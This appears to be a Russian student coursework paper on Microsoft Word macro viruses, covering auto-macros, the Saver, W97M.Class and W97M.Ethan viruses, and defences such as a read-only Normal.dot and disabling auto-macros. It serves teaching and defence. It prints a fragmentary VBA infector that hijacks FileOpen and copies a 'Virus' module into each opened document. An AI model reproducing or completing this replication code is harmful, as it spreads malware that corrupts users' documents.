«Лазейки» , подобные описанной выше обусловленные особенностями реализации тех или иных функций в программном обеспечении, являются объективной предпосылкой для создания и внедрения репликаторов злоумышленниками.

Эффекты, вызываемые вирусами в процессе реализации ими целевых функций, принято делить на следующие группы:

— искажение информации в файлах либо в таблице размещения файлов (FAT-таблице), которое может привести к разрушению файловой системы в целом;
— имитация сбоев аппаратных средств;
— создание звуковых и визуальных эффектов, включая, например, отображение сообщений, вводящих оператора в заблуждение или затрудняющих его работу;
— инициирование ошибок в программах пользователей или операционной системе.

Приведенная выше классификация не может считаться полной, так как прогресс не стоит на месте, появляются всё новые и новые интеллектуальные устройства и соответственно вирусы, работающие на них, например уже появились вирусы поражающие мобильные телефоны.

Компью́терный ви́рус - разновидность компьютерных программ или вредоносный код, отличительной особенностью которых является способность к размножению (саморепликация). В дополнение к этому вирусы могут без ведома пользователя выполнять прочие произвольные действия, в том числе наносящие вред пользователю и/или компьютеру.
Даже если автор вируса не программировал вредоносных эффектов, вирус может приводить к сбоям компьютера из-за ошибок, неучтённых тонкостей взаимодействия с операционной системой и другими программами. Кроме того, вирусы обычно занимают некоторое место на накопителях информации и отбирают некоторые другие ресурсы системы. Поэтому вирусы относят к вредоносным программам.

Введение
4
1. Макровирусы
6
1.1 Макровирусы общие сведения
7
8
2. Постановка задачи
10
3. Обзор наиболее известных вирусов в макросах документов
11
3.1 Распространение макровирусов
13
3.2 Алгоритм работы макровирусов для Microsoft Office
14
4. Способы защиты от вирусов в макросах документов
16
4.1 Обнаружение макровируса
17
4.2 Восстановление пораженных объектов
18
5. Создание вирусов в макросах и их внедрение в файлы документов
19
5.1 Постоянный вывод сообщения на экран
19
5.2 Запуск приложении из макровируса
19
5.3 Автозапуск и выполнение
20
Заключение
21
Список использованной литературы

Работа содержит 1 файл

Процедуры-программы могут исполняться непосредственно или же активироваться по запросу из других макросов. Их синтаксис следующий:

Sub <Имя_Макроса>
-> код макроса <-
" Комментарий начинается с апострофа
End Sub
В качестве примера можно привести следующий макрос:
" Данный макрос открывает окно диалога и выводит в нем сообщение
Sub Stupid_Greeting
MsgBox "ХЭЛЛОУ ВОРЛД"
End Sub

1.2 Макровирусы принципы работы

При работе с документом MS Word версий 6 и 7 выполняет различные действия: открывает документ, сохраняет, печатает, закрывает и т. д. При этом Word ищет и выполняет соответствующие встроенные макросы: при сохранении файла по команде File/Save вызывается макрос FileSave, при сохранении по команде File/SaveAs - FileSaveAs, при печати документов - FilePrint и т. д., если, конечно, таковые макросы определены.

Существуют также несколько «автомакросов», автоматически вызываемых при различных условиях. Например, при открытии документа Word проверяет его на наличие макроса AutoOpen. Если такой макрос присутствует, то Word выполняет его. При закрытии документа Word выполняет макрос AutoClose, при запуске Word вызывается макрос AutoExec, при завершении работы - AutoExit, при создании нового документа - AutoNew. Похожие механизмы, но с другими именами макросов и функций, используются и в Excel/Office 97.

Макровирусы, поражающие файлы Word, Excel или Office 97, как правило пользуются одним из трех вышеперечисленных приемов:

  1. в вирусе присутствует автомакрос (автофункция);
  2. в вирусе переопределен один из стандартных системных макросов (ассоциированный с каким-либо пунктом меню);
  3. макрос вируса автоматически вызывается при нажатии на какую-либо клавишу или комбинацию клавиш.

Бывают также полувирусы, которые не используют перечисленные приемы и размножаются, только если пользователь самостоятельно запускает их на выполнение.

Большинство макровирусов содержат все свои функции в виде стандартных макросов MS Word/Excel/Office 97. Существуют, однако, вирусы, использующие приемы скрытия своего кода и хранящие свой код в виде не-макросов. Известны три подобных приема. Все они используют возможность макросов создавать, редактировать и исполнять другие макросы. Как правило, подобные вирусы имеют небольшой (иногда полиморфный) макрос-загрузчик, который вызывает встроенный редактор макросов, создает новый макрос, заполняет его основным кодом вируса, выполняет и затем, как правило, уничтожает, чтобы скрыть следы присутствия вируса.

  1. Постановка задачи

Основными задачами данного курсового проекта являются:

  1. обзор наиболее известных вирусов в макросах документов;
  2. распространение вирусов в макросах документов;
  3. способы защиты от вирусов в макросах документов;
  4. Создание вирусов в макросах и их внедрение;
    1. Обзор наиболее известных вирусов в макросах документов

Saver (в переводе с англ. - "Сохранитель") представляет собой макро-вирус, функционирующий на машинах с установленным ПО MS Office, в состав компонентов которого входит Word 97 (версия 8.0) или Word 2003 (версия 11.0 - компания-разработчик Microsoft реализовала ее версию совместимой со всеми предшествующими ей версиями Word, что и послужило причиной работоспособности под ней вируса). Свое название вирус получил за текстовую строку-"копирайт", содержащуюся в его коде:
SaverVirus, а также за способность создавать на диске копии зараженных им документов. Написан 2 февраля 2000 года в Конотопе, о чем свидетельствует др. текстовая строка-"копирайт" в его теле:
Макрос записан 02.02.00 КОНОТОП

Saver заражает документы, сохраняемые в формате "DOC", а также файлы с настройками MS Office (DOT-файлы). Документы, записанные в формате "RTF", вирус не может заразить, т.к. в структуре последних отсутствуют макро-секции или "макросы" (секции с настройками, связанными с оформлением текущего документа - размера и типа шрифтов, величины полей, расположения объектов и т.д.), что исключает возможность их заражения. Вирус может быть занесен в машину только через зараженные документы или файлы настроек с вышеуказанными расширениями, если таковые будут открыты пользователем с последующим игнорированием предупреждения встроенной в Word макро-защиты:

Рис1 Предупреждение о запуске макроса

Заражение произойдет в том случае, если будет выбрана опция "Не отключать макросы", что почему-то и делает большинство пользователей при появлении данного запроса. После этого Saver отключает встроенную в Word 97 защиту от вирусов в макросах - VirusProtection (под Word 2003 вирус не может этого сделать, т.к. принцип данной защиты там немного др.) и заражает файл шаблона настроек данного редактора:

ПриWord97:
C:\ProgramFiles\ MicrosoftOffice\Шаблоны\Normal .dot

ПриWord2003:
C:\Documents and Settings\%имя текущего пользователя%\Application Data\Microsoft\Шаблоны\Normal. dot
Изменяя его номинальный размер с 26624 байта на 39424 байта или 27136 байт на 39936 байт(пояснение: Normal.dot может иметь один из двух указанных номинальных размеров, что зависит от некоторых системных условий) для Word 97 (для Word 2003 значение зараженного файла-шаблона может быть различным, поскольку оригинальный размер данного объекта может существенно варьироваться в зависимости от ряда настроек, установленных в Word"е). Затем вирус омертвляет файл Normal.dot, превращая его в дроппер своей программы ("dropper" - пускатель, активатор): изменяет его содержимое таким образом, что управление передается на вирусный код. Этот код вирус сохраняет в создаваемый им файл saver.dll:

ПриWord97:
C:\ProgramFiles\ MicrosoftOffice\Office\saver. dll

ПриWord2003:
C:\ProgramFiles\ MicrosoftOffice\OFFICE11\saver .dll

Данный файл имеет размер 29696 байт и представляет собой модифицированный вирусом файл-шаблон Normal.dot.

W97M.Class

Class.sys - вспомогательный файл к вирусу W97M.Class, "ложится" в корневой каталог C:\ . Текст программы-вируса в конце документа (часть программы пишется еще вNormal.dot, т.к. в теле программы есть проверка на количество строк в этом шаблоне). Вирус поражает файл Normal.dot (это шаблон Word97 , вирус делает его больше 50 кБ), а также поражает все открываемые документы Word, т.е. файлы с расширением *.doc, причем делает их примерно в 2 раза больше по размеру.
Вирус активизируется после 14 мая и будет Вас "приветствовать" и дальше, 14 числа каждого последующего месяца. Перемешивает строки в документах, выдает сообщение: «Я думаю, что" ИМЯ_ПОЛЬЗОВАТЕЛЯ" большой толстый сопляк!»

после этого заменяет строки, сохраняет документ и закрывает его.

W97M.Ethan - макрокомандный вирус, состоящий всего из одной макрокоманды. Заражает документы приложения Word97 при их закрытии и глобальный шаблон NORMAL.DOT.

Благоприятным фактором распространения вируса W97M.Ethan служит то, что в Microsoft Word макросы автоматически запускаются при открытии любого документа, его закрытии, сохранении и т.д.

Кроме того, имеется так называемый общий шаблон NORMAL.DOT и макросы, помещенные в общий шаблон, автоматически запускаются при открытии любого документа. Если учесть, что копирование макросов из документа в документ (в частности, в общий шаблон) выполняется всего одной командой, то среда Microsoft Word представляется идеальной для существования макрокомандных вирусов подобныхW97M.Ethan

Инфицирование системы:

После попадания в систему вирус помещает свою единственную макрокоманду в начало модуля, написанного на языке VBA (Visual Basic for Applications - язык Visual Basic для приложений) - "ThisDocument". "ThisDocument" является модулем в шаблоне MS Word 97.

При заражении документа или общего шаблона вирус использует временный текстовый файл "C:\Ethan.___" который является источником его вирусного кода. Данному файлу вирус присваивает атрибуты системный и скрытый.

4. Распространение макровирусов

При запуске Word"а Normal.dot передает управление вирусному "файлу-шаблону" saver.dll. Опыты, проведенные с вирусом на тест-машине, дали следующие результаты:

1. Вирус заражает документы при их закрытии: записывает в их макросекцию свой код, используя собственный макрос AutoSave ("Автосохранение"). При этом вирус блокирует стандартный запрос о подтверждении сохранения документа с внесенными в него изменениями, в результате чего все произведенные в документе изменения как вирусом, так и пользователем, автоматически сохраняются без ведома последнего.

2. В том случае, если документ был просто открыт пользователем или редактировался и запоминался через опцию "Сохранить", вирус заражает этот документ; если же последний перезапоминался пользователем через опцию "Сохранить как...", то вирус заражает только пересохраненный документ, а исходный оставляет без изменения. При этом и в том, и в др. случаях увеличение размера файлов после заражения зависит от ряда условий и не имеет точного значения.

3. Учитывая тот факт, что вирус заражает документы повторно даже просто при их просмотре без внесения пользователем каких-либо изменений, размер файлов постоянно увеличивается, в связи с чем на старых машинах с жесткими дисками небольшого объема свободное место очень быстро уменьшается. Также может наблюдаться сильное торможение машины при работе с Word"ом, что связано с дополнительными затратами ресурсов оперативной памяти на обработку "раздутых" вирусом макросекций зараженных документов и в конечном итоге может стать реальной причиной зависания последних при их открытии.

4. После заражения первого документа на чистой машине вирус создает свой подкаталог:

ПриWord97:
C:\ProgramFiles\ MicrosoftOffice\Office\Doc_ Copy\

ПриWord2003:
C:\ProgramFiles\ MicrosoftOffice\OFFICE11\Doc_ Copy\

В который копирует каждый из вновь зараженных документов. Впоследствии, если имя текущего открытого документа, заражаемого вирусом (повторно или первый раз - не имеет значения) совпадает с именем копии документа, уже находящейся в каталоге "Doc_Copy", то вирус, в зависимости от своих внутренних счетчиков, может перезаписать оригинальное содержимое текущего документа содержимым из файла-копии, что влечет безвозвратную потерю содержимого текущего документа.
Также существует вероятность утечки конфиденциальных данных в том случае, если за машиной работает несколько пользователей: например, один из них работает с дискеты с документом, содержащим секретную финансовую или какую-либо др. информацию, которую не должны знать остальные пользователи. Однако после того, как вирус создаст копию данного файла в папке "Doc_Copy", содержимое документа может быть доступно для просмотра др. пользователям данного компьютера.

5. После закрытия Word"а программа вируса автоматически отключается - срабатывает вирусный макрос AutoClose ("Автоматическое закрытие").

4.1 Алгоритм работы макровирусов для Microsoft Office

Большинство известных Word-вирусов (версий 6, 7 и Word 97) при запуске переносят собственный код в область глобальных макросов документа («общие» макросы).

При выходе из Word глобальные макросы (включая макросы вируса) автоматически записываются в DOT-файл глобальных макросов (обычно таким файлом является NORMAL.DOT). Таким образом, вирус активизируется в тот момент, когда Word грузит глобальные макросы.

Затем вирус переопределяет (или уже содержит в себе) один или несколько стандартных макросов (например, FileOpen, FileSave, FileSaveAs, FilePrint) и перехватывает таким образом команды работы с файлами. При вызове этих команд заражается файл, к которому идет обращение. Для этого вирус конвертирует файл в формат Template (что делает невозможными дальнейшие изменения формата файла, т. е. конвертирование в какой-либо не-Template формат) и записывает в файл свои макросы, включая Auto-макрос.

Другой способ внедрения вируса в систему базируется на так называемых «Add-in» файлах, т. е. файлах, являющихся служебными дополнениями к Word. В этом случае NORMAL.DOT не изменяется, а Word при запуске загружает макросы вируса из файла (или файлов), определенного как «Add-in». Этот способ практически полностью повторяет заражение глобальных макросов за тем лишь исключением, что макросы вируса хранятся не в NORMAL.DOT, а в каком-либо другом файле.

Возможно также внедрение вируса в файлы, расположенные в каталоге STARTUP. В этом случае Word автоматически подгружает файлы-шаблоны из этого каталога, но такие вирусы пока не встречались.
Рассмотрим вирус, предназначенный для заражения Word-документов. Этот вирус использует служебное имя FileOpen. Процедура FileOpen() выполняется всякий раз, когда пользователь открывает файл и маскируется под обычный диалог Файл->Открыть файл.

InfectorPath = MacroContainer.Path + "\" + MacroContainer.Name

Rem Переменная InfectorPath определяет путь к документу, содержащему вирус.

Dialogs(wdDialogFileOpen).Show

Rem Имитируется диалог Файл->Открыть файл

Infected = False

For Each VbComponent In ActiveDocument.VBProject. VBComponents

If VbComponent.Name = "Virus" Then Infected = True

Rem Здесь открытый пользователем файл проверяется на наличие вируса

If Not Infected Then

Rem Если файл не заражен, вирус дописывается в файл

CopyMacro ActiveDocument.Path + "\" + ActiveDocument.Name, InfectorPath

Public Sub CopyMacro(NewDestination, NewSource)

On Error GoTo nextline

Application.OrganizerCopy Source:= _

NewSource, Destination:=NewDestination, Name:="Virus", Object:= _

WdOrganizerObjectProjectItems

Rem копируем модуль с вирусом

ActiveDocument.Save

Rem сохраняем документ


5. Способы защиты от вирусов в макросах документов

Макровирусы обычно пишут школьники в целях самоутверждения. Такие вирусы не делают ничего плохого - они только размножаются на Вашем компьютере. Однако не следует пренебрегать средствами зашиты от макровирусов, так как с помощью WordBasic можно написать вирус, портящий документы Word, или даже форматирующий жесткий диск. Особенность макровирусов состоит в том, что обычные антивирусы их не распознают. Для защиты от макровирусов можно порекомендовать ViruScan фирмы MacCafee. (http://www.macafee.com). Кроме того существует несколько простых способов предотвратить заражение. В Word 6.0 все макросы хранятся в файлах шаблонов (*.dot) и доступны только при открытом шаблоне. Поскольку при открытии Word автоматически загружает глобальный шаблон Normal.dot, все вирусы стремятся записать себя туда. Поэтому, если Вы работаете в Word 6.0, укажите для файла Normal.dot атрибут "только чтение". Еще один вариант - при открытии подозрительных документов держать нажатой клавишу shift, чтобы не допустить выполнение автомакросов. Ну и разумеется, если Вы обнаружите в списке макросов имена, начинающиеся на auto - сотрите их немедленно.В Word97 макросы могут содержаться не только в шаблонах, но и в обычных документах. Как уже упоминалось, для автоматического запуска макроса при том или ином событии макрос должен иметь одно из следующих имен:

  • AutoExec - Запускается при старте Word или загрузке глобального шаблона
  • AutoNew - Запускается при создании нового документа
  • AutoOpen - Запускается при открытии документа
  • AutoClose - Запускается при закрытии документа
  • AutoExit - Запускается при выходе из Word или при закрытии глобального шаблона.

Конечно можно отменить выполнение таких макросов, нажав клавишу Shift при загрузке Word, а также при открытии, создании и закрытии документов, однако такой способ представляется утомительным. Напишем макрос, препятствующий выполнению автомакросов:

MsgBox "Не допустим размножения вирусов!"


WordBasic.DisableAutoMacros


Для предотвращения заражения документов макровирусами необходимо хорошо предсталять себе их принцип работы. Создатели Microsoft Office облегчили задачу злоумышленников тем, что ввели возможность подменять команды Word макрокомандами пользователя. Это значит, что если в Вашем документе есть макрос с именем, скажем, FileOpen, он будет исполняться всякий раз при открытии другого документа.

Особенно уязвимы пользователи Word 97. В старых добрых версиях Word макросы могли храниться только в шаблонах (файлах *.dot). Office"97 позволяет хранить макросы непосредственно в документе - следовательно, возможностей распространения вирусов становится больше.



Просмотров